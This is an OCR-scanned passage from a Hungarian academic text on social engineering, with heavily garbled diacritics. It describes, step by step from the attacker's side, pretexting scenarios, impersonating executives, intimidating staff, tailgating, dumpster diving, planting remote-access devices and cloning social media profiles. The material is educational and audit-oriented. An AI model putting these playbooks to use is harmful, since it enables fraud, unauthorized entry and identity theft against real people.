ezen tamadasok 1ényege nem az informatikai eszk6zok melldzése, hanem pusztan az, hogy a tamadas
kimenetele az emberi tényez6tdl fliggjon. Tehat, ebben az értelmezésben, bar technoldgiai ismeretek
is sziikségesek egy adathaldsz oldal 1étrehozasdhoz és a tdimadas megvalositdsdhoz, mégis akkor lesz
sikeres az adathaldsz megkeresés, ha a felhasznalo beddl a triikkknek — magatdl a technikatol nem.
Emellett a tisztdn human alapt technikdk is alkalmazhatnak informatikai eszkdzoket (példaul e-ma-
il-en keresztiili kapcsolatfelvétel, kozosségi oldalak stb.), de a megtévesztés, visszaélés elsddlegesen
nem ezeken keresztiil torténik, hanem személyesen vagy telefonon keresztiil.

Az alabbi tablazat 0sszefoglalja az egyes ismertebb technikdk human alapu, illetve szamitogép
alapu tamadasi kategoriakba sorolasat.”

8 Guenther, 2001.
8 Watson, Mason, Ackroyd, 2014.
% Qroszi, Farkas, Leitold, 2015.
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2. tablazat: Social Engineering tamadasi technikadk csoportositdsa

A két kategoria kozott azért atjarhatosag tapasztalhato. Hataron helyezhet6 el a baiting, vagyis adat-
hordoz6 szétszoéras, hiszen itt bar az informatikai eszk6zon keresztiil torténik a felhasznalo kihasz-
naldsa, mégis személyes jelenlétet igényel a megvalositas (példaul épiiletbe torténd bejutas soran),
valamint érdekes esetet képvisel a megtévesztéses, megszemélyesitéses tamadasok azon valfaja is,
amikor a visszaélés kdzosségi oldalon keresztiil torténik. Mindezen technikékat részletesen a kovet-
kezo két fejezet taglalja.

2. Human alapu Social Engineering modszerek bemutatasa

A humén alapu Social Engineering technikak kategoridja olyan mddszereket foglal magaban, melyek
soran az aldozat megtévesztésé¢hez, a rahatashoz nincsen sziikség szamitogép hasznalatara (abban az
értelemben, hogy a megtévesztés elsdsorban nem az informatikai eszk6zokon keresztiil torténik). Az
ilyen jellegli timadasokkal szemben kiilondsen nehéz védekezni, hiszen mig a kdvetkez6 fejezetben
ismertetendd, szamitogép alapti tamadasok esetén vannak olyan biztonsdgi megoldasok (virusirto,
spamsziir6 stb.), melyek megakadalyozhatjdk, hogy a felhasznalé megtévesztése sikeres legyen, ad-
dig ebben az esetben csak az dldozaton mulik, hogy beddl-e az atverésnek.

A célszemély megtévesztése tobbféle modon torténhet, leggyakoribb a telefonon keresztiili fel-
keresés, abbol kifolyolag, hogy ez jar a legkisebb kockazattal, a leleplezddés veszélye ezen a vona-
lon fenyeget legkevésbé — ugye, ahogyan Kevin Mitnick irta, ,,egy hangot nem lehet letartdztatni”.
Ugyan a szerz0 kifejtette konyvében, hogy célszeri minél tdvolabb maradnunk az aldozattol, ennek
ellenére nem zarhato ki a személyes felkeresés sziikségessége sem.”! Ekkor a tamadd magat ligyfél-
nek, alkalmazottnak, vagy barki mas, az épiiletben tartdzkodasra jogosult személynek kiadva szaba-
don jarkalhat az irodakban, ezaltal szert téve akar bizalmas informaciokra is. Viszont, ha a tdmado
sem a személyes latogatashoz, sem a ,,telefonbetyarkodashoz” nem érez magaban kelld batorsagot,
elektronikus levélben is felveheti a kapcsolatot aldozataval, vagy véalogathat egyéb szamitogépen
keresztiili megtévesztési technika koziil.

%l Mitnick, 2003.
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Ha a ,,szerepjaték” vonaldn maradunk, a megszemélyesitendd illetd a szituaciotol fiiggden lehet
tigyfél, munkatars, kiilsd partner, szereld vagy karbantart6, hatosagi személy, de akar egyszeriien egy
szakdolgozatot ir6 egyetemista is. Természetesen a tdmadonak nem feltétleniil sziikséges egy valos
személy borébe bujnia, egy altala kitalalt karakterben, fiktiv személyben is testet olthet, csokkentve
ezaltal is a leleplezddés kockazatat, illetve a tiamadasra vald felkésziilés idejét (hiszen legalabb nem
kell pontosan utanajarni a megszemélyesitendé személynek).

Az egyik leghatdsosabb mddszer bizonyos szervezet méret felett, ha a timado a szervezet egy ma-
sik alkalmazottjanak adja ki magét, hiszen igy taldlja meg legkonnyebben a modjat, hogy hozzaférjen
a szamadra sziikséges informaciokhoz, eszk6zokhdz. Kiilonosen abban az esetben lehet ezt a modszert
alkalmazni, amikor a cég tobb telephellyel is rendelkezik (példaul iizletlancok, helyi kirendeltségek,
bankfidkok stb.), s ebbdl kifolydlag a vallalat kiilonbozd részlegein dolgoz6 munkatarsak gyakran
nem is ismerik egymast személyesen. Az ilyen helyzetek kihasznaldsanak egyik tipikus példaja, ami-
kor az egyik telephelyen dolgoz6 munkatars — aki természetesen kapcsolatban kell, hogy legyen a
masik telephely alkalmazottjaival is — par napra betegség, szabadsag vagy egyéb okok miatt tavol
marad a munkahelyétdl, ezért az adott idészakban egy masik kolléga latja el a feladatait. Ekkor a
tdmado — a megfeleld informaciok birtokaban — kdnnyen felveheti a helyettesité munkatars szerepét,
hiszen nagy valoszinliséggel nem fogjak ismerni, és nem is fogjak leellendrizni, hogy tényleg az adott
részleg dolgozoja. Persze, a forditott eset is megtorténhet, amikor a tamado a kollégat helyettesito
munkatarsat atverve probal meg érzékeny informacidokhoz jutni.

A megtévesztéses tamadasoknak kiilondsen az 0j alkalmazottak lehetnek a célpontjai, 6k ugyanis
nem biztos, hogy a munkaba-allas kezdetén tisztdban vannak a munkahelyi szabalyokkal, szokésok-
kal, valamint nem feltétleniil ismerik még kell6képpen a kollégakat, igy konnyen egy Social Engi-
neering tamadas célpontjaiva valhatnak. Egy alapos social engineer pedig gyakorlatilag fél 6ra alatt
meg tudja szerezni az Uj munkatarsak listdjat, példaul ahogyan Mitnick is irta, az Emberi er6forras
osztalyt az Informacidbiztonsagi részleg munkatarsaként felhivva kikérheti azon kollégak nevét és
elérhetdségét, akik 1 honapja dolgoznak a vallalatnal, hiszen szamukra sziikséges egy biztonsagtu-
datossagi oktatas szervezése.”

A human alapt Social Engineering technikaknak tobbféle forgatokonyv-tipusa kiilonboztethetd
meg, az alabbiakban roviden ismertetem az egyes mddszereket, ahogyan egy valos tdmado hajtana
végre azokat.

2.1. Segitség kérése

Az egyik leggyakoribb, és véleményem szerint az egyik legkonnyebben sikerrel jaré modszer, ha a
tamado egyszerlien valamilyen segitséget kér az aldozattol, hiszen a segitOkészség altalaban nagyon
sok ember alaptulajdonsaga. Ez természetesen tobbféle szituacioban kivitelezhetd, 1étezik kifejezetten
a Help Desk atverésére irdnyul6 tamadas, de fokuszalhatunk kiilon az 0j alkalmazottakra, vagy meg
lehet probalni valamilyen artatlan szivesség kérésével egy munkatars naivsagat, johiszemuségét ki-
hasznélni. A kérés érkezhet levélben, telefonon, vagy akar személyes kapcsolatfelvételen keresztiil is.

2.2. Segitség nyujtdsa

Az az eset is eléfordulhat, hogy nem a tdmado kéri az aldozat segitségét, hanem éppen ellenkezdleg
0 lesz az, aki segitséget fog nyujtani a célszemélynek. Ehhez els0sorban azt kell elérnie, hogy a ki-
szemelt munkatars a segitségére szoruljon. Amennyiben nincs olyan szerencséje a tamadonak, hogy
a célszemélynek €pp segitségre van sziiksége (nem talalt olyan potencialis aldozatot), tipikusan ugy

%2 Mitnick, 2003.
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valosithatdo meg, hogy a social engineer valamilyen hibat general, majd a megoldast jelenté szakem-
bernek kiadva magat eldzékenyen jelentkezik a probléma orvoslasara. Nem kell azonban azt gondol-
nunk, hogy a modszer csak valamilyen hiba bekdvetkezése esetén miikddik. Jobban ,,megismerve”
az aldozatot a tdimado nagy valdszintiséggel ki tud talalni olyan szituaciot, melyben szivességet tehet,
segitséget nyujthat neki — példaul felajanlja, hogy elkészit neki egy forditast, feladja a postan a leve-
leit, vagy ami €pp az esz€ébe jut. A segitségnyujtas torténhet telefonon vagy személyesen is, esetleg a
tdmado tavsegitség formajaban is kapcsolodhat a célszemély szamitdogépéhez.

2.3. Reverse social engineering

A Reverse Social Engineering magyarul forditott Social Engineeringet jelent, de ,,forditott sziras”
néven is szoktak forditani.”* Alkalmazasakor altalaban telefonon keresztiil torténik a becsapas, s jel-
lemzdje, hogy a tdmadas soran a social engineer gy manipulalja a beszélgetést és olyan kérdéseket
tettet fel magéanak az aldozataval, melyben benne vannak a szdmara sziikséges informaciok (példaul
a felhasznal6 kimondja az egyik szerver nevét stb.). A modszer nagyon hasonlit az el6z6 pontban
bemutatott technikahoz, azonban egy ,.egyszeri” Social Engineering tdmadastol annyival nehezebb,
hogy a tamadonak el kell hitetnie az dldozatként kivalasztott alkalmazottal, 6 a kezdeményezd fél.
Rick Nelson megfogalmazasa alapjan a modszernek harom ,,alappillére” van:**

» Szabotazs: A tdmado generdl valamilyen hibat, amit meg kell oldani.

» Figyelemfelkeltés: A probléma elokészitése utdn a timado valamilyen modon az aldozat tud-
tara adja, hogy 6 a legalkalmasabb személy a gond orvosldsara. Ennek tipikusan jé alapja
lehet egy, a célszeméllyel kordbban folytatott kapcsolatépitd beszélgetés.

* Segitségnyujtas: Amikor a bajba jutott munkatars felkeresi a tamadot, az igy manipuldlja a
beszélgetést, olyan kérdéseket tettet fel, melyekben benne vannak a szdmara értékes informa-
ciok. Ezek megszerzése utan természetesen a probléma megoldodik.

Az ilyen tipusi megtévesztések egyik f6 elonye, hogy ezaltal rengeteg szaksz6, munkahelyi kife-
jezés birtokaba juthat a timado, amelyek egy késObbi tamadas soran remek alapot jelenthetnek.

2.4. , Valamit valamiert”

Az altalam csak ,,valamit valamiért”-nek elkeresztelt forgatokdnyv kategoria nagyon hasonl6 a segit-
ség kérését, illetve nyujtasat szinleld tamadasokhoz, ebben az esetben a social engineer azt probalja
elérni, hogy valamilyen aprobb szivességet téve az aldozatnak, ravegye azt valamilyen ,,viszont-szi-
vesség” tételére, példaul adjon meg neki valamilyen bels6, bizalmas informaciot.*

Manapsag ezek a tamadasok szamitogépes megoldassal kombinalva sokkal jobban kihasznélhato-
ak. Példaul, ha egy hamis e-mail-ben vagy weboldalon keresztiil valamilyen ingyenes vonz¢ tartal-
mat (példaul film vagy zeneletoltés stb.) kinalunk regisztracio ellenében, akkor a kivancsi felhasznalo
onként ,,szivességet” tesz nekiink e-mail cime és jelszava megadéasaval (amennyiben tobb helyen is
ugyanazt a jelszot hasznalja — marpedig tudjuk, hogy ez is egy gyakran el6forduld eset), vagy egysze-
rlien személyes adatainak megosztasaval, esetleg egy kartékony kod terjesztésével.

% Mitnick, 2003.
% Granger, 2001.
% QOroszi, 2011.
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2.5. Megszemelyesitéses tamaddasok

Megszemélyesitéses tamadasok cimszo alatt emlitettem mar azt az esetet, amikor nem egy konkrét
személyt, hanem inkabb egy fiktiv, kitalalt karaktert megszemélyesitésére kertil sor, ebben az esetben
inkabb megtévesztésrol beszEliink, hiszen konkrét megszemélyesités, egy masik ember identitdsanak
a felvétele nem torténik meg.

Ebben az alfejezetben elsdsorban arra helyezem a hangsulyt, amikor a tdmado egy valos sze-
mélynek probalja magat kiadni, az 6 nevében probal meg eljarni, hiszen bizonyos tdmadasok esetén
ez sokkal hatdsosabb modszer. Az atverés legtobbszor telefonon keresztiil torténik, de merészebb
esetben akar személyesen is kivitelezhetd, illetve a késdbbiekben foglalkozunk a technika kdzdsségi
oldalakon val6 alkalmazasaval is.

Az alabbiakban a személyes és telefonon keresztiili megkeresések leggyakoribb forgatokonyveit
mutatjuk be. Nem szabad azonban megfeledkezni arrdl, hogy a tamado a céljanak megfelelden barki
megszemélyesitésére motivalt lehet, illetve barmilyen, az adott forgatokonyvhoz indokolt fiktiv sze-
mély borébe bujhat.

2.5.1. Fontos ember megszemélyesitése

Altaldban egyik alkalmazott sem akadékoskodik, ha egy felsébb vezetd kér tdle valamilyen informa-
ciot — tehat, ha a tAmadonak sikeriil a fonokot megszemélyesitenie, garantaltan megkap barmilyen
altala kért adatot. Az akci6 végrehajtasdhoz nagyon fontos, hogy minden megfelelden el6 legyen ké-
szitve, azaz utana kell jarni, hogy ki is az illetd, akit at akar verni, és ki is a fonok, akit meg akar sze-
mélyesiteni. Ehhez nagyon jo6 alapot adnak a korabban ismertetett forrasokbdl szarmazé informaciok.
Ezutan célszerli megtudnia, hogy az illetd, akinek az identitasat ,,kdlcsonveszi”, mikor nem tartoz-
kodik bent a munkahelyén — ennek kideritéséhez elegendé telefonon keresztiil bejelentkezni hozza,
a titkarndje nagy valdsziniiséggel elmondja, mely idépontokban nem alkalmas a fonok felkeresése.
Amennyiben a tamado nagyon profin szeretné kivitelezni a tamadast, esetleg egy masik, ismeretlen
kolléga nevében felhivhatja az aldozatat, hogy a fénok (akit persze majd ismételten ¢ alakit) meg
fogja keresni bizonyos dologgal kapcsolatban — ezzel egyrészt eléri, hogy a munkatars felkésziiljon,
masrészt esetleg beszélgetés kozben megtudhatja, ha véletleniil melléfogott, és nem is 6 azokkal a
bizonyos informacidkkal/anyagokkal rendelkezd kolléga. Végiil kdvetkezhet az utolso felvonas: a
fonok szerepében felhivni az dldozatot. Amennyiben a kolléga mégsem lenne elég készséges — annak
ellenére, hogy mégiscsak a fonokével beszél — egy kis megfélemlitéssel nyomast lehet gyakorolni az
informaciok kiadasara.

2.5.2. Felhatalmazas

Harmadik fél felhatalmazasa kiilondsen akkor hasznos, ha a timadé a vezetdt valamilyen oknal fogva
nem tudja megszemélyesiteni, mert példaul a kiszemelt dldozat ismeri valamennyire a fondkot, vagy
mert egy férfi tdmadd meglehetdsen nehezen tudja megszemélyesiteni az igazgatondt — és persze
forditva.

Az el6z6 tamadashoz hasonldan, ebben az esetben is nagyon fontos a terep alapos felderitése.
Felhatalmazottként a tdmado lehet belsé munkatars (mondjuk a vezetd titkarndje), de megszemé-
lyesitheti partnercég alkalmazottjat, vagy mas kiilsé személyt is — mindez annak a fliggvénye, éppen
milyen ligyben keresi fel az dldozatot. Ezt a mddszert akkor a legalkalmasabb bevetni, a vezetd éppen
szabadsagon van, igy feltehetdleg a felkeresett dldozat nem fogja felhivni nyaralasa kdzben a felette-
sét, hogy leellendrizze a felhatalmazast.
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Személyes megkeresés esetén célszerii valamilyen felhatalmazast, vagy megbizo levelet készite-
ni, ehhez a ,,meghatalmaz¢” aldirasat egy futarral kiildott, alairassal érkeztetett csomag tokéletesen
megfeleld.

2.5.3. 4.2.5.3 Egyéb forgatokonyvek

Természetesen a tdmadas céljahoz illeszkedd barmilyen mas forgatokonyvet is valaszthatunk, ami az
informaciogyljtés eredménye alapjan az adott kornyezetben és szitudcioban mikoddképes lehet. Az
alabbiakban 6sszegytjtésre keriiltek az eddigi Social Engineering auditok soran alkalmazott egyéb
Jellegu leggyakoribb forgatokonyvek és rovid leirasuk.”
Szakdolgozatot ir6 egyetemista: a segitokészséget €s egyiittérzést hasznalja ki. Mivel elég
gyakori megkeresés lehet, kisziirése nehézkes, a megvalositdsahoz viszont rengeteg informa-
ci6 gylijthetd 6ssze. Elonye az épiiletbe torténd kdnnyii bejutas és a felligyelet nélkiil maradas
megkisérlése, hatranya, hogy elsdsorban belsé informaciokhoz lehet hozzaférni feliigyelet
alatt.

« Allashirdetésre jelentkezés: kézenfekvé megoldas, amennyiben az informécidgytijtés soran
azonositani tudunk allashirdetéseket, esetleg gyakornoki pozicidkat. Az el6z6h6z hasonldéan
a cél a bejutés ¢és a felligyelet nélkiili bentmaradas, esetleg belsd informaciok megszerzése.

* Rendszergazda: amennyiben a célunk a szamitogéphez vald hozzaférés, és az eldzetes in-
formaciogyljtés alapjan a szervezet mérete €s telephelyeinek szama lehetové teszi, megsze-
mélyesithetiink egy, a masik telephelyen dolgozo fiktiv informatikus kollégat, és valamilyen
hibara hivatkozva hozzaférhetiink a célszemély munkadllomésahoz. A timadas elonye, hogy
azonnal az eredeti célt tudjuk elérni, nem sziikséges feliigyelet nélkiili bentmaradas, hatranya,
hogy alapos felkésziilés hidnydban a lebukés kockazata magas.

* Auditor: cél lehet az épliletbe torténd bejutas és feliigyelet nélkiili bentmaradas, illetve az
eredeti cél azonnali elérése is. A forgatokonyv eldnye, hogy auditori szerepben a ,,fontos
ember” szitudcidba keriiliink, igy nagy valoszinliséggel adnak ki szamunkra belso, akar bi-
zalmas informacidkat, hatranya szintén a nem-elegendd informacidogytijtésbol szarmaztathatod
magasabb észlelési kockazat.

* Takarito: ezt a forgatokonyvet akkor érdemes alkalmazni, amikor munkaiddn kiviil szeret-
nénk bent tartézkodni az épiiletben, illetve amennyiben a célunk a hulladék atvizsgalasa/
megszerzese is.

e Rovarirto: az el6z6h6z hasonléan azon id6intervallumban alkalmazando, amikor kevés em-
ber jelenlétére szamitunk az épiiletben, illetve ez esetben megtehetjiik, hogy a feladat vég-
rehajtasanak idejére a bent tartézkodokat is kikiildjiik az iroddbol. Héatranya, hogy eléggé
eréforras igényes a sikeres kivitelezése.

Ezen bemutatott példak mellett természetesen barmilyen mas forgatokdnyv kidolgozhat6.

2.5.4. Alkalmazasi lehetoségek

A fenti technikdk mind személyesen, az épiiletbe torténd bejutas soran alkalmazhatdak, mind pedig
telefonon keresztiili tAmadasok esetében miikoddképesek megfelelden alkalmazva, s6t gyakran az
épiiletbe torténd bejutashoz telefonon keresztiili elézetes kapcsolatfelvétel sziikséges (bejelentkezés
példaul rendszergazaként, rovarirtoként az el6z6 példaknal maradva stb.).

% Qroszi, 2011.
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Amennyiben telefonon keresztiil szeretnénk alkalmazni, tamadoként célunk lehet a kovetkezo:
» Mas tdmadasok eldkészitése (példaul kapcsolatfelvétel a bejutdshoz)
» Bels6 vagy bizalmas informacio (példaul jelszd) megszerzése
* Bels6 vagy bizalmas dokumentum kikiildetése e-mail-ben
+ Utasitas kiadasa (példaul f4jl kinyomtatdsa tavoli nyomtatora)
Az épliletbe torténd bejutas sordn a kovetkezd fobb céltipusokat hatarozhatjuk meg:
* Belsd vagy bizalmas informécié megszerzése mas tdmadashoz passziv modon (példaul jel-
szavak megszerzése, kornyezet vizsgalata)
» Bels6 vagy bizalmas informécid megszerzése mas tamadashoz aktiv modon (példaul rendszer
elérésének, miikodésének megkérdezése, hulladék atvizsgalas)
» Szerverszobaba, vagy mas védettebb helyiségbe torténd bejutés
» Tavoli elérést biztosito eszkoz elhelyezése, csatlakoztatasa a halozatra (példaul Raspberry Pi)

2.6. Shoulder surfing

A Shoulder Surfing (,,vall-sz6rf”’) annak a modszere, hogy hogyan lehet megszerezni egy felhasznalo
jelszavat, vagy mas altala begépelt informaciot 1ényegében a valla feletti atnézéssel, azaz a tamado
az aldozat kozelébe férkdzve, észrevétleniil megnézni, hogy mit gépelt be az illetd.”” A célszemély
felkeresése mas, az elébbiekben ismertetett Social Engineering technikdk bevetésével kombinaltan
torténhet. Amennyiben a tdmado valaki megszemélyesitésével szeretne a felhaszndlo kozelébe fér-
kozni €s célja a jelszo ellopasa, célszerli olyasvalaki eljatszésara torekedni, akinek a jelenlétekor a
felhasznal6 valamilyen okbdl be kell, hogy gépelje jelszavat (példaul rendszergazdaként megkérheti,
hogy jelentkezzen ki, majd Gjra be a rendszerbe).

2.7. Piggybacking

A piggybacking technikdja tulajdonképpen mas jogosultsdganak felhasznéldsat jelenti, és altalaban
az épiiletbe vald jogosulatlan bejutas megvalositasahoz szoktak alkalmazni a social engineerek. Leg-
inkabb szoros kovetésnek, vagy besurranasnak lehet forditani, magyar nyelvre atiiltetni. Legjobb
példdja, amikor a tdimado6 egy munkatarsnak, vagy legalabbis belépésre jogosult személynek adja ki
magat, s az irodaba igyekezvén eljatssza, hogy otthon felejtette kulcsat vagy belépokartyajat (esetleg
éppen most ment tonkre), és persze megkér valakit, hogy engedje be a sajatjaval. Belegondolva, hogy
mi magunk is hanyszor felejtettiik otthon a belépdkartyankat, a timado garantaltan taldlni fog olyan
személyt, akinek megesik rajta a szive, €s beengedi az ,,ismeretlen kollégat”.

2.8. Tailgating

A tailgating technikdjat magyarra szintén szoros kovetésnek, vagy esetleg vonatozasnak fordithat-
nank. A technika nagyon hasonlit az el6z6ekben ismertetett piggybacking médszerre, de ennek 1¢-
nyege, hogy a tdmadoé gy tesz, mintha egy vendég- vagy munkascsoport (példaul karbantartok) tagja
lenne, majd hozzajuk csapddva egyszerlien besurran az épiiletbe. A sikeres végrehajtashoz természe-
tesen nem art némi szerencse (példaul éppen valamilyen épitkezés, feltjitas zajlik a vallalatnal) és
ebben az esetben is sziikség van a részletek pontos ismeretére (egy hamis telefonhivassal kdnnyen
ki lehet deriteni, hogy mikor érkeznek a vendégek vagy a karbantartok), valamint a megfeleld alca
biztositasa (vendégként 6ltony megteszi, szereloként pedig némi utanajarast igényelhet a munkaruha
kialakitasa, céglogd pdlora vasaldsa stb.).

7 Long, 2008.
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Amennyiben ugy alakul a helyzet, hogy a timaddonak nem sikeriil észrevétleniil a kiszemelt cso-
porthoz csatlakoznia (mert példaul feltiind, hogy minden vendég ismeri egymast), akkor még mindig
ott van annak a lehetdsége, hogy eljatszhatja az elkésett csoporttag esetét, s sikeres alakitas esetén
csatlakozhat a tobbiekhez.

2.9. Dumpster diving

Az emberek tobbsége nem is sejti, hogy irodai szemetese valdésagos aranybanya is lehet egy social
engineer szamara, annyira, hogy erre a Dumpster divingnak, vagy magyarul hulladékatvizsgalasnak,
esetleg ,.kukabuvarkodasnak™ nevezetett technikai létezik. A hulladékban ugyanis a tdmado renge-
teg olyan dolgot taldlhat, amely segitséget nyujthat egy esetleges tdmadas elokészitéséhez (példaul
vallalatnél alkalmazott sablonok, aldirasokat tartalmaz6 levelek, szabadsdg-nyilvantarté ivek, adat-
hordozok stb.).”® Egyrészt a szemetesbe keriilnek a monitorrol leszedett jelszavas cetlik, masrészt az
alkalmazott olyan személyes adatai, amelyek segitséget nyujthatnak az illetd személyazonossaganak
felvételéhez, identitasanak ellopasahoz, valamint akar olyan informacio birtokaba is juthat, amellyel
megvesztegetni vagy akar zsarolni is tudja a célszemélyt. Az ilyen esetek megeldzése érdekében
javasolt az iratmegsemmisitd hasznalata, hiszen sosem lehet tudni, hogy a tdmadd milyen jelentékte-
lennek tiind informaciokat tud hasznositani.

A hulladék atvizsgalasa torténhet a helyszinen (épiiletbe torténd jogosulatlan behatolas példaul
az ¢jszaka folyaman), vagy akar a hulladék dsszegytijtésével és elszallitasaval is (példaul takarito
személyzet megszemélyesitésével vagy az elszallitasra kihelyezett konténerek tartalmanak elszallitas
el6tti megszerzésével). Barmelyik modszert is valasszuk, a kivitelezés eldtt sziikséges az eldzetes
informaciogyjtés, példaul arrol, mikor €s hogyan torténik a szemetesek tiritése, a kommunalis hulla-
dék elszallitasa, esetleg alkalmaznak-e szelektiv hulladékgylijtést vagy iratmegsemmisitést.

Amennyiben a gylijtott informaciok szerint a szervezetnél szelektiv hulladékgytijtést alkalmaznak,
vagy az iratmegsemmisitést szolgaltatasként veszik igénybe, lehetséges (€s kényelmesebb) modszer a
papir alapu hulladék megszerzésére, ha az ezeket elszallité szolgaltatd munkatarsat személyesiti meg
a tamado.

2.10. Social media engineering

Végezetiil jelen fejezetben szeretném bemutatni az 1.4 alfejezetben felvezetett Social Media Enginee-
ring-nek keresztelt timadasi technikat, melynek alkalmazasakor a timado a kozdsségi média oldalon
hajtja végre a vissza€lést, megtévesztést.

A kozosségi médian megjelend tamadasok gyakorlatilag egyidosek ezen oldalak megjelenésével.
Kezdetben viccként, jatékként indultak a kiilonféle megkeresések (példaul ,,Oszd meg ezt az iizene-
tet €s...”, vagy lehetett telepiteni ,,nem-tetszik Dislike gombot, esetleg a ,,Who viewed my profile”
funkcioval allitolag meg lehetett nézni ki nézte meg a profilunkat), ezek azonban még nem visszaélé-
sekhez vezetd tamadasi technikdk, inkabb csak beugratasok voltak.

Manapsag a hamis megkeresések egyre inkabb eltolodnak a visszaélések iranyaba, a tdimadok célja
a haszonszerzés ezen feliileteken is. Emellett, bizonyos tdmadéasok esetében sziikségiink lehet tdma-
doként a nyilvanosan meg nem osztott informacidkra is, mert szerencsére az alapbeallitasok idonként
valtoznak, illetve a felhasznalok tudatossaga is fejlodik.

% Long, 2008.
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A korlatozott hozzaférést felhasznaloi informaciok megszerzésének lehetdségei a kovetkezok:

» Kozos csoportba csatlakozas: Amennyiben a sziikséges informacid érdeklddési korhoz kap-
csolhato, vagy feltételezhetd, hogy bizonyos csoportokban megosztott, akkor be tudunk csat-
lakozni ugyanezen csoportba, altalaban jovahagyas nélkiil, vagy minimalis ellendrzés mel-
lett. Abban az esetben, ha a téméahoz kapcsolddd csoport nem létezik, 1étrehozhatunk egyet,
¢s meghivhatjuk a célszemélyt is.

* Fiktiv felhasznalé létrehozasa: Barmilyen fiktiv felhasznalé nevében tudunk regisztralni
egy ingyenes e-mail cimet, azzal (illetve sziikség esetén feltdltékartyds mobilszammal) pe-
dig a kiszemelt k6z0sségi oldalon egy felhasznaldi fiokot. Az al-profilt célszerti ugy kialaki-
tani, hogy a célszemély szamdra ismerdsnek tlinjon (példaul ugyanazon iskola, munkahely
megadasa), vagy valamilyen szempontbdl ismeretleniil is vonzo legyen az dldozatnak, annak
érdekében, hogy a kapcsolatfelvétel megkisérlése soran pozitivan fogadja a megkeresést. Mi-
utan az ismerdsnek jelolési kérelem jovahagydasra keriilt, az al-profillal a tdmado lathatja a
felhaszndlo azon informacioit, bejegyzéseit is, melyet az ismerdsokkel oszt meg (kivéve,
amennyiben a felhasznal6 tudatos és egyéb szigoritasokat, csoportokat ad meg).

» Identitas lopas: Amennyiben a fiktiv felhasznaloi fiokkal nem sikertil a kapcsolatfelvétel, a
kozosségi oldalakon az identitas lopas, vagyis valds felhasznal6 profiljanak a lemasolasa és
az illetd ezen feliileten torténd megszemélyesitése is konnyedén kivitelezhetd megoldas. Az
alabbi maddszereket alkalmazhatjuk:

O Beregisztralas: amennyiben a megszemélyesitendé fél nem rendelkezik egyik oldalon
sem profillal, elsdként a tdmado hozhat neki 1étre egyet. Nehezitd koriilmény a profilfotd
készitése.

o Cross-site profil klonozas: amennyiben a felhaszndlo valamely oldalon mar rendelkezik
felhasznaloi fidkkal, de a kiszemelt oldalon még nem, akkor az eredeti (példaul LinkedIn)
oldalon megadott adataival, fotéival konnyedén beregisztralhatjuk tamadoként a cél-ol-
dalra (példaul Facebook). A kiindulé oldalon felvett ismerdsok bejelolése lehet a kovet-
kez6 1épés az al-profillal is.

o Profil klonozas: teljes profil klonozasrol akkor beszéliink, amikor a célszemély rendelke-
zik eredeti profillal a cél-oldalon is (példaul Facebook-rol Facebook-ra klénozunk). Ebben
az esetben is felhasznalhatjhuk tdmadoként az eredeti oldal adatait, illetve a rendelkezés-
re all6 ismerds listat, nagyobb mértékben kell azonban szdmitanunk mind az al-profilra,
mind az eredeti felhasznalohoz érkezo kérdésekre (miért tortént az ujra-regisztracio).

A fenti modszerek mellett, a személyes megkeresést 6tvozve a szamitogép zarolasanak mell6zésé-
vel, illetve az oldalakon levé ,,bejelentkezve maradok™ lehetdség valasztasaval a tamadonak leheto-
sége van ugynevezett ,,Fraping”, Facebook-raping mddszerrel megszemélyesitésre, ebben az esetben
ugyanis az Orizetleniil €s zarolatlanul hagyott munkaallomas el¢ leiilve, az automatikusan bejelent-
kezésnek koszonhetden a felhasznald eredeti profiljan tud megszemélyesitéses tamadast végrehajtani
(példaul a sziikséges informéciot elérni, megkérdezni, egyéb tdmadast kezdeményezni).

A megszemélyesitésen tul a kozdsségi médiaban vald egyéb Social Engineering-hez kapcsolddo
tdmadasi technikdkat a kdvetkezd rész mutatja be, ezuttal a szamitégépen keresztiili tdimadésok ol-
dalérol.

3. Szamitogép alapu Social Engineering technikak bemutatasa

A Social Engineering korabban mar emlitett masik csoportja a szamitogép segitségével probalja meg
atejteni a felhasznalot, igy kiilondsen elény0ds a tdmado szamara, hiszen ezzel minimalisra csokkenti
az aldozattal folytatott érintkezést, és ezzel egyiitt a leleplezddés kockazatat. Ezen technikak jellem-
z0je, hogy a social engineer azt hiteti el az aldozatokkal, hogy egy valddi rendszerrel kommunikal-
nak, s nem veszik észre, hogy egy csalas aldozataiva valnak. Az ilyen modszereknek egész szines
palettdja ismert, mindezeket részletesebben az alabbi pontokban mutatom be.
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3.1. Al-weboldalak

A legegyszeriibben kivitelezhetd megoldas hamis weboldalak készitése — itt azonban nem a megha-
tok. Konnyen és gyorsan lehet késziteni olyan oldalakat, ahol regisztracio6 ellenében kinalunk valami-
lyen ingyenes tartalmat, vagy sorsolunk ki valamilyen nyereményt. A regisztraciohoz csak egy e-mail
cim és egy jelszo sziikséges — igy ezzel a modszerrel egyrészt rengeteg e-mail cimet gytjthetiink
Ossze, amely egy késobbi tamadashoz jol hasznosithatd, masrészt akar jelszavakat is szerezhetiink,
hiszen sok felhaszndlo van, aki tobb rendszerben is ugyanazt a karaktersorozatot hasznalja jelszoként,
vagy legalabbis nagyon hasonlot, emellett személyes adatokra is vaddszhatunk, illetve felmérhetjiik
a potencialis célszemélyek érdeklodési korét.

3.2. Adathaldszat (phishing)

A phishing, vagyis az adathaldszat szintén a szamitogép alapu Social Engineering modszerek egy
vélfaja. Véleményem szerint legjobban Bill Rosenkrantz, a Symantec internet-biztonsagi csoportja-
tamadasi modszert Osszefoglalta. ,,Az adathalaszok e-mail lizenetben, azonnali lizenetben, vagy sza-
lagcim-hirdetésekben a felhasznalot hamis weboldalra invitaljak, ahol jelszavanak vagy egyéb titkos
adatainak megadasara kérik.””

Maga a ,,phishing” sz6 a password harvesting fishing, vagyis ,,jelszohaldszat” kifejezésbol szii-
letett, és eldszor az 1990-es évek kozepén hasznaltak. Az els6 nagyobb botranyt keltett timadas
soran az egyik legnagyobb amerikai internet-szolgaltatd, az AOL iigyfeleinek bizalmas adatait pro-
baltdk meg megszerezni. A tdmadasi modszer Magyarorszagon csak 2003-ban hallatott magarol, és
az Inter-Europa Bankot érintette.'®

Az adathaldsz tdmadasok az alabbi alkategdridkra bonthatok.

3.2.1. Hamis e-mailek és hamisitott weboldalak

A hamis e-mail-ek és al-weboldalak készitése a legrégebbi adathaldsz timadasi modszerek kozé tar-
tozik, adathalaszat alatt gyakran ezt a technikat értjiilk Ez a tdimadas els6sorban, de nem kizarélagosan
